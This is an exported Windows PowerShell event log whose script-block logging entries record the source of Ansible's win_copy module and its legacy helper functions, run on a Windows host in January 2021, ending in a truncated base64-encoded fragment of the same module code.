Windows PowerShell has started an IPC listening thread on process: 1360 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1744 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1360 | 4596 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:58 AM | dfeadd90-ee34-0001-6e29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1743 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1360 | 600 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:58 AM | dfeadd90-ee34-0001-6e29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1742 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 224 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0001-6d29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 224 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1741 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 224 | 4868 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0001-6d29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1740 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 224 | 4052 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0001-6d29-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: c718d594-273f-4982-a936-14bb2d6a4492
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1739 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 4748 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0003-5ff1-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
throw "Add-Warning: warnings attribute is not an array"
}
$obj.warnings += $message
}
Function Add-DeprecationWarning($obj, $message, $version = $null)
{
<#
.SYNOPSIS
Helper function to add deprecations, even if the deprecations attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("deprecations")) {
$obj.deprecations = @()
} elseif ($obj.deprecations -isnot [array]) {
throw "Add-DeprecationWarning: deprecations attribute is not a list"
}
$obj.deprecations += @{
msg = $message
version = $version
}
}
Function Expand-Environment($value)
{
<#
.SYNOPSIS
Helper function to expand environment variables in values. By default
it turns any type to a string, but we ensure $null remains $null.
#>
if ($null -ne $value) {
[System.Environment]::ExpandEnvironmentVariables($value)
} else {
$value
}
}
Function Get-AnsibleParam($obj, $name, $default = $null, $resultobj = @{}, $failifempty = $false, $emptyattributefailmessage, $ValidateSet, $ValidateSetErrorMessage, $type = $null, $aliases = @())
{
<#
.SYNOPSIS
Helper function to get an "attribute" from a psobject instance in PowerShell.
This is a convenience to make getting Members from an object easier and
slightly more pythonic
.EXAMPLE
$attr = Get-AnsibleParam $response "code" -default "1"
.EXAMPLE
Get-AnsibleParam -obj $params -name "State" -default "Present" -ValidateSet "Present","Absent" -resultobj $resultobj -failifempty $true
Get-AnsibleParam also supports Parameter validation to save you from coding that manually
Note that if you use the failifempty option, you do need to specify resultobject as well.
#>
# Check if the provided Member $name or aliases exist in $obj and return it or the default.
try {
$found = $null
# First try to find preferred parameter $name
$aliases = @($name) + $aliases
# Iterate over aliases to find acceptable Member $name
foreach ($alias in $aliases) {
if ($obj.ContainsKey($alias)) {
$found = $alias
break
}
}
if ($null -eq $found) {
throw
}
$name = $found
if ($ValidateSet) {
if ($ValidateSet -contains ($obj.$name)) {
$value = $obj.$name
} else {
if ($null -eq $ValidateSetErrorMessage) {
#Auto-generated error should be sufficient in most use cases
$ValidateSetErrorMessage = "Get-AnsibleParam: Argument $name needs to be one of $($ValidateSet -join ",") but was $($obj.$name)."
}
Fail-Json -obj $resultobj -message $ValidateSetErrorMessage
}
} else {
$value = $obj.$name
}
} catch {
if ($failifempty -eq $false) {
$value = $default
} else {
if (-not $emptyattributefailmessage) {
$emptyattributefailmessage = "Get-AnsibleParam: Missing required argument: $name"
}
Fail-Json -obj $resultobj -message $emptyattributefailmessage
}
}
# If $value -eq $null, the parameter was unspecified by the user (deliberately or not)
# Please leave $null-values intact, modules need to know if a parameter was specified
# When $value is already an array, we cannot rely on the null check, as an empty list
# is seen as null in the check below
if ($null -ne $value -or $value -is [array]) {
if ($type -eq "path") {
# Expand environment variables on path-type
$value = Expand-Environment($value)
# Test if a valid path is provided
if (-not (Test-Path -IsValid $value)) {
$path_invalid = $true
# could still be a valid-shaped path with a nonexistent drive letter
if ($value -match "^\w:") {
# rewrite path with a valid drive letter and recheck the shape- this might still fail, eg, a nonexistent non-filesystem PS path
if (Test-Path -IsValid $(@(Get-PSDrive -PSProvider Filesystem)[0].Name + $value.Substring(1))) {
$path_invalid = $false
}
}
if ($path_invalid) {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' has an invalid path '$value' specified."
}
}
} elseif ($type -eq "str") {
# Convert str types to real Powershell strings
$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: a59cdb5c-2fff-480b-8436-93a49d615f72
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1738 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 3940 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0003-52f1-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 1cf3e5aa-fc44-4750-978f-2bd943bc1c9b
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1737 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3612 | 3940 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:57 AM | dfeadd90-ee34-0003-43f1-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
CAgICAgICAkZW50cnlfdGFyZ2V0X3BhdGggPSBbU3lzdGVtLklPLlBhdGhdOjpDb21iaW5lKCRkZXN0LCAkZGVjb2RlZF9hcmNoaXZlX2VudHJ5KQogICAgICAgICRlbnRyeV9kaXIgPSBbU3lzdGVtLklPLlBhdGhdOjpHZXREaXJlY3RvcnlOYW1lKCRlbnRyeV90YXJnZXRfcGF0aCkKCiAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtUGF0aCAkZW50cnlfZGlyKSkgewogICAgICAgICAgICBOZXctSXRlbSAtUGF0aCAkZW50cnlfZGlyIC1JdGVtVHlwZSBEaXJlY3RvcnkgLVdoYXRJZjokY2hlY2tfbW9kZSB8IE91dC1OdWxsCiAgICAgICAgfQoKICAgICAgICBpZiAoJGlzX2RpciAtZXEgJGZhbHNlIC1hbmQgKC1ub3QgJGNoZWNrX21vZGUpKSB7CiAgICAgICAgICAgICMgaHR0cHM6Ly9tc2RuLm1pY3Jvc29mdC5jb20vZW4tdXMvbGlicmFyeS93aW5kb3dzL2Rlc2t0b3AvYmI3ODc4NjYuYXNweAogICAgICAgICAgICAjIEZyb20gRm9sZGVyLkNvcHlIZXJlIGRvY3VtZW50YXRpb24sIDEwNDQgbWVhbnM6CiAgICAgICAgICAgICMgIC0gMTAyNDogZG8gbm90IGRpc3BsYXkgYSB1c2VyIGludGVyZmFjZSBpZiBhbiBlcnJvciBvY2N1cnMKICAgICAgICAgICAgIyAgLSAgIDE2OiByZXNwb25kIHdpdGggInllcyB0byBhbGwiIGZvciBhbnkgZGlhbG9nIGJveCB0aGF0IGlzIGRpc3BsYXllZAogICAgICAgICAgICAjICAtICAgIDQ6IGRvIG5vdCBkaXNwbGF5IGEgcHJvZ3Jlc3MgZGlhbG9nIGJveAogICAgICAgICAgICAkZGVzdF9wYXRoLkNvcHlIZXJlKCRlbnRyeSwgMTA0NCkKCiAgICAgICAgICAgICMgb25jZSBmaWxlIGlzIGV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0IC1tZXNzYWdlICJEZXN0aW5hdGlv